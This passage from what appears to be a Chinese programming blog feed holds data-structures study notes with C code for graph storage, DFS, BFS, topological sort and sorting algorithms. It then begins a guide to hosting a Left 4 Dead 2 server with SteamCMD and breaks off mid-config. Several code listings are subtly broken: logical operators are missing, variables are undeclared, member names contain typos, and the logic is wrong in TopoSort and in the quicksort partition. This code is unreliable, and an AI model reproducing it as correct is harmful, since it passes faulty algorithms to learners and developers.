src="https://img-blog.csdnimg.cn/20200825094259575.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ0NjY4MjQ4,size_16,color_FFFFFF,t_70#pic_center" alt="邻接表"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br></pre></td><td class="code"><pre><span class="line">typedef struct eNode // 边结点定义</span><br><span class="line">{</span><br><span class="line"> int AdjVex; // 邻接点域</span><br><span class="line"> ElemType w; // 权重域</span><br><span class="line"> struct ENode* NextArc; // 指针域</span><br><span class="line">}ENode;</span><br><span class="line">typedef struct lGraph</span><br><span class="line">{</span><br><span class="line"> ENode **a; // 指向一维指针数组</span><br><span class="line"> int n; // 顶点数</span><br><span class="line"> int e; // 边数</span><br><span class="line">}LGraph;</span><br><span class="line">//初始化</span><br><span class="line">Status Init(LGraph *lg, int nSize)</span><br><span class="line">{</span><br><span class="line"> int i;</span><br><span class="line"> lg->n = nSize;</span><br><span class="line"> lg->e = 0;</span><br><span class="line"> lg->a = (ENode**)malloc(nSize*sizeof(ENode*));</span><br><span class="line"> if(!lg->a)</span><br><span class="line"> return ERROR;</span><br><span class="line"> else</span><br><span class="line"> {</span><br><span class="line"> for(i=0 ; i < lg->n ; i++)</span><br><span class="line"> lg->a[i] = NULL; // 将指针a置空</span><br><span class="line"> return OK;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line">//插入</span><br><span class="line">Status Insert (LGraph *lg, int u, int v, ElemType w)</span><br><span class="line">{</span><br><span class="line"> ENode* P;</span><br><span class="line"> if(u<0 v<0 u > lg->n-1 v > lg->n-1 u==v) // 输入参数无效</span><br><span class="line"> return Error;</span><br><span class="line"> if(Exist(lg,u,v)) // 边是否存在</span><br><span class="line"> return Duplicate;</span><br><span class="line"> else</span><br><span class="line"> p=(ENode*)malloc(sizeof(ENode));</span><br><span class="line"> p->adjVex = v;</span><br><span class="line"> p->w = w;</span><br><span class="line"> p->nextArc = lg->a[u];</span><br><span class="line"> lg->a[u] = p;</span><br><span class="line"> lg->e++;</span><br><span class="line"> return OK;</span><br><span class="line">}</span><br><span class="line">//删除</span><br><span class="line">Status Remove(LGraph *lg, int u, int v)</span><br><span class="line">{</span><br><span class="line"> ENode *p,*q;</span><br><span class="line"> if(u<0 v<0 u > lg->n-1 v > lg->n-1 u==v) // 输入参数无效</span><br><span class="line"> return Error;</span><br><span class="line"> p = lg->a[u];</span><br><span class="line"> q = NULL;</span><br><span class="line"> while(p && p->adjVex != v) // 查找待删除边是否存在</span><br><span class="line"> {</span><br><span class="line"> q = p;</span><br><span class="line"> p = p->nextArc;</span><br><span class="line"> }</span><br><span class="line"> if(!p)</span><br><span class="line"> return NotPresent;</span><br><span class="line"> if(q)</span><br><span class="line"> q->nextArc = p->nextArc;</span><br><span class="line"> else</span><br><span class="line"> lg->a[u] = p->nextArc;</span><br><span class="line"> free(p);</span><br><span class="line"> lg->e--;</span><br><span class="line"> return OK;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>优点</p><ol><li>便于统计边数$O(n+e)$</li><li>空间复杂度$O(n+e)$</li></ol><p>缺点</p><ol><li>不便判断顶点之间是否有边$O(n)$</li><li>不便于计算各个顶点度</li></ol><h3 id="深度优先搜索(DFS)"><a href="#深度优先搜索(DFS)" class="headerlink" title="深度优先搜索(DFS)"></a>深度优先搜索(DFS)</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">void DFS(int v, int visited[], LGraph g)</span><br><span class="line">{</span><br><span class="line"> ENode *w;</span><br><span class="line"> printf("%d",v); // 访问顶点v</span><br><span class="line"> visited[v] = 1;</span><br><span class="line"> for(w = g.a[v] ; w ; w = w>nextArc)</span><br><span class="line"> if(!visited[w->adjVex])</span><br><span class="line"> DFS(w->adjVex, visited, g);</span><br><span class="line">}</span><br><span class="line">void DFSTraverse(LGraph g)</span><br><span class="line">{</span><br><span class="line"> int i; // 动态生成标记数组</span><br><span class="line"> int *visited = (int*)malloc(g.n*sizeof(int)); // 初始化标记数组</span><br><span class="line"> for(i=0 ; i < g.n ; i++) // 逐一检查每个顶点,若未被访问,则调用DFS</span><br><span class="line"> visited[i] = 0;</span><br><span class="line"> for(i=0 ; i < g.n ; i++)</span><br><span class="line"> if(!visited[i])</span><br><span class="line"> DFS(i, visited, g);</span><br><span class="line"> free(visited);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><ul><li>邻接表$O(n+e)$</li><li>邻接矩阵$O(n^2)$</li></ul><h3 id="宽度优先搜索(BFS)"><a href="#宽度优先搜索(BFS)" class="headerlink" title="宽度优先搜索(BFS)"></a>宽度优先搜索(BFS)</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line">void BFS(int v, int visited[], LGraph g)</span><br><span class="line">{</span><br><span class="line"> ENode *w;</span><br><span class="line"> Queue q;</span><br><span class="line"> create(&q, g.n); // 初始化队列</span><br><span class="line"> visited[v]=1; // 为顶点v打上访问标记</span><br><span class="line"> printf("%d",v); // 访问顶点v</span><br><span class="line"> EnQueue(&q,v); // 将顶点v放入队列</span><br><span class="line"> while(!IsEmpty(&q))</span><br><span class="line"> {</span><br><span class="line"> Front(&q,&u);</span><br><span class="line"> DeQueue(&q); // 队首u出队</span><br><span class="line"> for(w = g.a[u] ; w ; w = w->nextArc) // 依序搜索u的未被访问过邻接点,访问并将其入队</span><br><span class="line"> if(!visited[w->adjVex])</span><br><span class="line"> {</span><br><span class="line"> visited[w->adjVex] = 1;</span><br><span class="line"> printf("%d",w->adjVex);</span><br><span class="line"> EnQueue(&q,w->adjVex);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line">void BFSTraverse(LGraph g)</span><br><span class="line">{</span><br><span class="line"> int i; // 动态链接生成访问标记数组</span><br><span class="line"> int *visited = (int*)malloc(g.n*sizeof(int));</span><br><span class="line"> for(i=0 ; i < g.n ; i++) // 初始化标记数组</span><br><span class="line"> visited[i] = 0;</span><br><span class="line"> for(i=0 ; i < g.n ; i++) // 依次检查每个检查点</span><br><span class="line"> if(!visited[i]) // 若未被访问</span><br><span class="line"> BFS(i, visited, g);</span><br><span class="line"> free(visited);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><ul><li>邻接表$O(n+e)$</li><li>邻接矩阵$O(n^2)$</li></ul><h3 id="拓扑排序"><a href="#拓扑排序" class="headerlink" title="拓扑排序"></a>拓扑排序</h3><p>AOV网:有向边表示领先关系的<strong>有向无环</strong>图</p><p><img src="https://img-blog.csdnimg.cn/20200826231034134.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ0NjY4MjQ4,size_16,color_FFFFFF,t_70#pic_center" alt="AOV"></p><p>拓扑排序过程</p><ol><li>找到入度$0$的点</li><li>删除其所有边</li><li>重复</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line">//计算各个点的出入度</span><br><span class="line">void Degree(int* inDegree, LGraph g)</span><br><span class="line">{</span><br><span class="line"> int i;</span><br><span class="line"> ENode *p;</span><br><span class="line"> for(i=0 ; i < g.n ; i++) // 数组初始化</span><br><span class="line"> inDegree[i] = 0;</span><br><span class="line"> for(i=0 ; i < g.n ; i++)</span><br><span class="line"> for(p = g.a[i] ; p ; p = p->nextArc) // 检查顶点vi所有邻接点</span><br><span class="line"> inDegree[p->adjVex]++; // 邻接点入度+1</span><br><span class="line">}</span><br><span class="line">//拓扑排序</span><br><span class="line">Status TopoSort(int* topo, LGraph g)</span><br><span class="line">{</span><br><span class="line"> int i, j, k;</span><br><span class="line"> ENode *p;</span><br><span class="line"> Stack S;</span><br><span class="line"> int* inDegree = (int*)malloc(sizeof(int) * g.n);</span><br><span class="line"> Degree(inDegree, g); // 计算顶点入度</span><br><span class="line"> Create(&S, g.n); // 初始化栈堆</span><br><span class="line"> for(i=0 ; i < g.n ; i++)</span><br><span class="line"> if(!inDegree[i])</span><br><span class="line"> Push(&S, i); // 入度为0顶点入栈</span><br><span class="line"> while(!IsEmpty(&S)) // 若栈S不空</span><br><span class="line"> {</span><br><span class="line"> Top(&S, &i); Pop(&S); //顶点v出栈</span><br><span class="line"> topo[m] = i; // 将v输出到拓扑回归序列中</span><br><span class="line"> m++; // 对输出顶点计数</span><br><span class="line"> for(p=g.a[i] ; p; p = p->nextArc) // 检查顶点vi所有邻接点</span><br><span class="line"> {</span><br><span class="line"> k = p->adjVex;</span><br><span class="line"> inDegree[K]--; // 入度为0邻接点进栈</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> if(m < g.n) // 若还有顶点为输出,则表明有环</span><br><span class="line"> return Error;</span><br><span class="line"> else</span><br><span class="line"> return OK;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="关键路径"><a href="#关键路径" class="headerlink" title="关键路径"></a>关键路径</h3><p>AOE网:有向边表示持续时间的<strong>有向无环带权</strong>图</p><p><img src="http://192.168.1.35/wp-content/uploads/2022/02/%E5%9B%BE%E7%89%87-16.png"></p><p>路径长度:路径上各活动持续时间的总和(即路径上所有权之和)。</p><p>完成工程的最短时间:从工程开始点(源点)到完成点(汇点)的最长路径称为完成工程的最短时间。</p><p>关键路径:路径长度最长的路径称为关键路径。</p><p>需要的四个变量:</p><ol><li>$E_{early}(v_i)$事件最早发生时间,顶点最早发生时间。</li><li>$E_{late}(v_i)$事件最晚发生时间,顶点最晚发生时间。</li><li>$A_{early}(a_k)$活动最早开始时间,边最早开始时间。</li><li>$A_{late}(a_k)$活动最晚开始时间,边最晚开始时间。</li></ol><p>步骤:</p><ol><li>先求$E_{early}(v_i)$,从0到最后</li><li>再求$E_{late}(v_i)$,从最后到0</li><li>$A_{early}(a_k)$=$E_{early}(v_i)$</li><li>$A_{late}(a_k)$=$E_{late}(v_i)$-$w(v,j)$</li><li>$A_{early}(a_k)$=$A_{late}(a_k)$关键顶点</li><li>即可确定关键路径</li></ol><h3 id="最小代价生成树"><a href="#最小代价生成树" class="headerlink" title="最小代价生成树"></a>最小代价生成树</h3><p>边权值和最小</p><p>普利姆算法(Prim)</p><ol><li>分为已选$U$与未选$V$</li><li>选择$U$和$V$之间最小值</li><li>重复直到选完所有点</li></ol><p><img src="https://img-blog.csdnimg.cn/20200827003824599.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ0NjY4MjQ4,size_16,color_FFFFFF,t_70#pic_center" alt="普利姆算法"></p><ul><li><strong>nearst</strong>该点与未选择区域最近的点</li><li><strong>lowcost</strong>最短的距离</li><li><strong>mark</strong>是否已被选择</li></ul><p>克鲁斯卡尔算法(Kruskal)</p><ol><li>选择图中最短的边</li><li>若未形成回路,则继续选</li><li>形成了回路,再去选其他的</li></ol><h3 id="单源最短路径"><a href="#单源最短路径" class="headerlink" title="单源最短路径"></a>单源最短路径</h3><p>迪杰斯特拉算法</p><p><img src="https://img-blog.csdnimg.cn/20200827005202317.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ0NjY4MjQ4,size_16,color_FFFFFF,t_70#pic_center" alt="最短路径"></p><ol><li>选已选点最短路径</li><li>更新${d,path}$</li></ol><p><img src="https://img-blog.csdnimg.cn/20200827005122146.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ0NjY4MjQ4,size_16,color_FFFFFF,t_70#pic_center" alt="迪杰斯特拉算法"></p><h2 id="排序"><a href="#排序" class="headerlink" title="排序"></a>排序</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">typedef struct entry</span><br><span class="line">{</span><br><span class="line"> KeyType key; // 排序关键字</span><br><span class="line"> DataType data; // 数据项</span><br><span class="line">}Entry;</span><br><span class="line">typedef struct list // 顺序表</span><br><span class="line">{</span><br><span class="line"> int n;</span><br><span class="line"> Entry D[MaxSize];</span><br><span class="line">}List</span><br></pre></td></tr></table></figure><h3 id="选择法"><a href="#选择法" class="headerlink" title="选择法"></a>选择法</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">void SelectSort(List* list)</span><br><span class="line">{</span><br><span class="line"> int minIndex,startIndex = 0;</span><br><span class="line"> while(startIndex < list->n-1)</span><br><span class="line"> {</span><br><span class="line"> minIndex = FindMin(*list, startIndex);</span><br><span class="line"> Swap(list->D, startIndex, minIndex);</span><br><span class="line"> startIndex++;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="插入排序"><a href="#插入排序" class="headerlink" title="插入排序"></a>插入排序</h3><ol><li>前$i$元素组成有序区后$n-i-1$个元素组成无序区</li><li>将第$i$个元素按序插入有序区</li><li>以此类推</li></ol><p><img src="http://192.168.1.35/wp-content/uploads/2022/02/%E5%9B%BE%E7%89%87-17-1024x492.png"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">void InsertSort(List *list)</span><br><span class="line">{</span><br><span class="line"> int i,j; // i标识待插入元素下标</span><br><span class="line"> Entry insertItem; // 每一趟待插入元素</span><br><span class="line"> for(i=1 ; i < list->n ; i++)</span><br><span class="line"> {</span><br><span class="line"> insertItem = list->D[i];</span><br><span class="line"> for(j=i-1 ; j >= 0 ; j--) // 不断将有序序列后移,为待插入元素留一个位置</span><br><span class="line"> {</span><br><span class="line"> if(insertItem.key < list->D[j].key)</span><br><span class="line"> list->D[j+1] = list->D[j];</span><br><span class="line"> else</span><br><span class="line"> break;</span><br><span class="line"> }</span><br><span class="line"> list->D[j+1] = insertItem; // 待插入元素有序存放至有序序列中</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="冒泡"><a href="#冒泡" class="headerlink" title="冒泡"></a>冒泡</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">void BubbleSort(List *list)</span><br><span class="line">{</span><br><span class="line"> int i,j; // i标识每趟排序范围最后一个元素下标,每趟排序下标为0~i</span><br><span class="line"> BOOL isSwap = FALSE; // 标记一趟排序中是否发生了元素交换</span><br><span class="line"> for(i = list->n-1 ; i > 0 ; i--)</span><br><span class="line"> for(j = 0 ; j < i ; j++)</span><br><span class="line"> if(list->D[j].key > list->D[j+1].key)</span><br><span class="line"> {</span><br><span class="line"> Swap(list->D, j, j+1);</span><br><span class="line"> isSwap = TRUE;</span><br><span class="line"> }</span><br><span class="line"> if(!isSwap) // 若本趟排序无元素交换,排序完成</span><br><span class="line"> break;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="快排"><a href="#快排" class="headerlink" title="快排"></a>快排</h3><ol><li>待排序序列元素数量小于1,退出</li><li>选择分割元素$D_s$,划分为左右子序列左子序列所有元素小于$D_s$右子序列所有元素大于$D_s$</li><li>子序列快速排序</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">int Partition(List *list, int low, int high)</span><br><span class="line">{</span><br><span class="line"> int i = low;</span><br><span class="line"> int j = high+1;</span><br><span class="line"> Entry pivot = list->D[low]; // pivot是分割元素</span><br><span class="line"> do{</span><br><span class="line"> do</span><br><span class="line"> i++;</span><br><span class="line"> while(list->D[i].key < pivot.key && i <= high); // i前进</span><br><span class="line"> do</span><br><span class="line"> j--;</span><br><span class="line"> while(list->D[i].key > pivot.key && j >= low); // i前进</span><br><span class="line"> if(i < j)</span><br><span class="line"> Swap(list->D, i, j);</span><br><span class="line"> }while(i < j);</span><br><span class="line"> Swap(list->D, low, j);</span><br><span class="line"> return j; // j是分割元素下标</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="两路合并"><a href="#两路合并" class="headerlink" title="两路合并"></a>两路合并</h3><p>对$[\dfrac{n}{2^{i-1}}]$个有序序列,合并$(D[0],…,D[2^{i-1}-1])$和$(D[2^{i-1}],…,D[2^{i}-1])$</p><ul><li>若$[\dfrac{n}{2^{i-1}}]$是偶数,合并最后两个有序序列,否则最后一个序列不合并</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line">/*子序列合并*/</span><br><span class="line">void Merge(List *list, Entry *temp, int low, int n1, int n2)</span><br><span class="line">{</span><br><span class="line"> int i =low, j = low + n1; // i,j初始时分别指向两个序列第一个元素</span><br><span class="line"> while( i <= low + n1 -1 && j <= low + n1 + n2 -1)</span><br><span class="line"> {</span><br><span class="line"> if(list->D[i].key <= list->D[j].key)</span><br><span class="line"> *temp++ = list->D[i++];</span><br><span class="line"> else</span><br><span class="line"> *temp++ = list->D[j++];</span><br><span class="line"> }</span><br><span class="line"> while(i <= low + n1 - 1)</span><br><span class="line"> *temp++ = list->D[i++]; // 剩余元素直接拷贝至temp</span><br><span class="line"> while(j <= low + n1 + n2 -1)</span><br><span class="line"> *temp++ = list->D[j++]; // 剩余元素直接拷贝至temp</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">void MergeSort(List *list)</span><br><span class="line">{</span><br><span class="line"> Entry temp[MaxSize];</span><br><span class="line"> int low, n1, n2, i, size = 1;</span><br><span class="line"> while(size < list->n)</span><br><span class="line"> {</span><br><span class="line"> low = 0; // low是一对待合并序列第一个序列第一个下标</span><br><span class="line"> while(low + size < list->n) // 至少两个序列要合并</span><br><span class="line"> {</span><br><span class="line"> n1 = size;</span><br><span class="line"> if(low + size*2 < list->n)</span><br><span class="line"> n2 = size; // 计算第二个序列长度</span><br><span class="line"> else</span><br><span class="line"> n2 = list->n - low -size;</span><br><span class="line"> Merge(list, temp+low, low, n1, n2);</span><br><span class="line"> low += n1 + n2; // 确定下一对待合并序列中第一个序列第一个元素下标</span><br><span class="line"> }</span><br><span class="line"> for(i=0 ; i<low ; i++)</span><br><span class="line"> list->D[i] = temp[i]; // 复制一趟合并排序结果</span><br><span class="line"> size *= 2; // 子序列长度翻倍</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="堆排序"><a href="#堆排序" class="headerlink" title="堆排序"></a>堆排序</h3><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212242310122.png"></p><h3 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h3><p>排序算 法</p><p>各趟排序结果</p><p>算法的稳定性</p><p>时间复杂度(平均/最好/最坏)</p><p>适用场合</p><p>一趟排序确定元素位置</p><p>简单选择排序</p><p>$n-1$</p><p>不稳定</p><p>平均:$O(n^2)$ 最好:$O(n^2)$ 最坏:$O(n^2)$</p><p>无</p><p>√</p><p>插入排序</p><p>$n-1$</p><p>稳定</p><p>平均:$O(n^2)$ 最好:$O(n)$ 最坏:$O(n^2)$</p><p>待排序序列基本有序递增</p><p>×</p><p>冒泡排序</p><p>$1$$~$$n-1$</p><p>稳定</p><p>平均:$O(n^2)$ 最好:$O(n)$ 最坏:$O(n^2)$</p><p>基本有序且简单快速实现</p><p>√</p><p>快速排序</p><p>${\geq}n-1$</p><p>不稳定</p><p>平均:$O(nlog_2n)$ 最好:$O(log_2n)$ 最坏:$O(n^2)$</p><p>非常无序</p><p>√</p><p>合并排序</p><p>$$[log_2n]$$</p><p>稳定</p><p>平均:$O(nlog_2n)$ 最好:$O(nlog_2n)$ 最坏:$O(nlog_2n)$</p><p>多数场合,不要节省空间</p><p>×</p><p>堆排序 </p><p>不稳定</p><p>平均:$O(nlog_2n)$ 最好:$O(nlog_2n)$ 最坏:$O(nlog_2n)$</p><p>√</p>]]></content>
<categories>
<category> 我爱学习 </category>
</categories>
<tags>
<tag> 速通指南 </tag>
</tags>
</entry>
<entry>
<title>在linux平台上搭建求生之路服务器</title>
<link href="/2022/01/18/%E5%9C%A8linux%E5%B9%B3%E5%8F%B0%E4%B8%8A%E6%90%AD%E5%BB%BA%E6%B1%82%E7%94%9F%E4%B9%8B%E8%B7%AF%E6%9C%8D%E5%8A%A1%E5%99%A8/"/>
<url>/2022/01/18/%E5%9C%A8linux%E5%B9%B3%E5%8F%B0%E4%B8%8A%E6%90%AD%E5%BB%BA%E6%B1%82%E7%94%9F%E4%B9%8B%E8%B7%AF%E6%9C%8D%E5%8A%A1%E5%99%A8/</url>
<content type="html"><![CDATA[<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212242326346.png"></p><p>L4D2一直是一款我特别喜欢的多人娱乐向游戏,除了MC基本上每次高中好友线上团建就是在这里面。</p><p>可惜最近V社的服务器ping值令人忍无可忍,不过好在我手上有一台2核4G的服务器,开个私服应该没啥问题。</p><h2 id="安装运行环境(我的是ubuntu)"><a href="#安装运行环境(我的是ubuntu)" class="headerlink" title="安装运行环境(我的是ubuntu)"></a>安装运行环境(我的是ubuntu)</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo apt-get install lib32gcc1</span><br></pre></td></tr></table></figure><h2 id="下载安装steamCMD"><a href="#下载安装steamCMD" class="headerlink" title="下载安装steamCMD"></a>下载安装steamCMD</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">mkdir ~/Steam //创建Steam文件夹</span><br><span class="line">cd ~/Steam //进入Steam文件夹</span><br><span class="line">wget http://media.steampowered.com/installer/steamcmd_linux.tar.gz</span><br><span class="line">tar -zxvf steamcmd_linux.tar.gz //解压</span><br></pre></td></tr></table></figure><p>输入</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./steamcmd.sh</span><br></pre></td></tr></table></figure><p>开始下载安装</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212242326169.png"></p><p>会要求登录,匿名登录就行</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">login anonymous</span><br></pre></td></tr></table></figure><h2 id="下载L4D2服务端"><a href="#下载L4D2服务端" class="headerlink" title="下载L4D2服务端"></a>下载L4D2服务端</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">app_update 222860 validate</span><br></pre></td></tr></table></figure><p>一开始几次没连上,多试几次就行</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212242327693.png"></p><p>退出quit</p><h2 id="配置文档"><a href="#配置文档" class="headerlink" title="配置文档"></a>配置文档</h2><p>修改H键公告的标题需修改文件/home/steam/l4d2/left4dead2/host.txt,修改内容需修改/home/steam/l4d2/left4dead2/motd.txt</p><p>Steam/steamapps/common/Left 4 Dead 2 Dedicated Server/left4dead2/cfg下,新建一个 server.cfg 文件</p><p>战役模式</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">hostname "PiCpo's L4D2"</span><br><span class="line">//模式选择</span><br><span class="line">//sm_cvar mp_gamemode "coop"</span><br><span 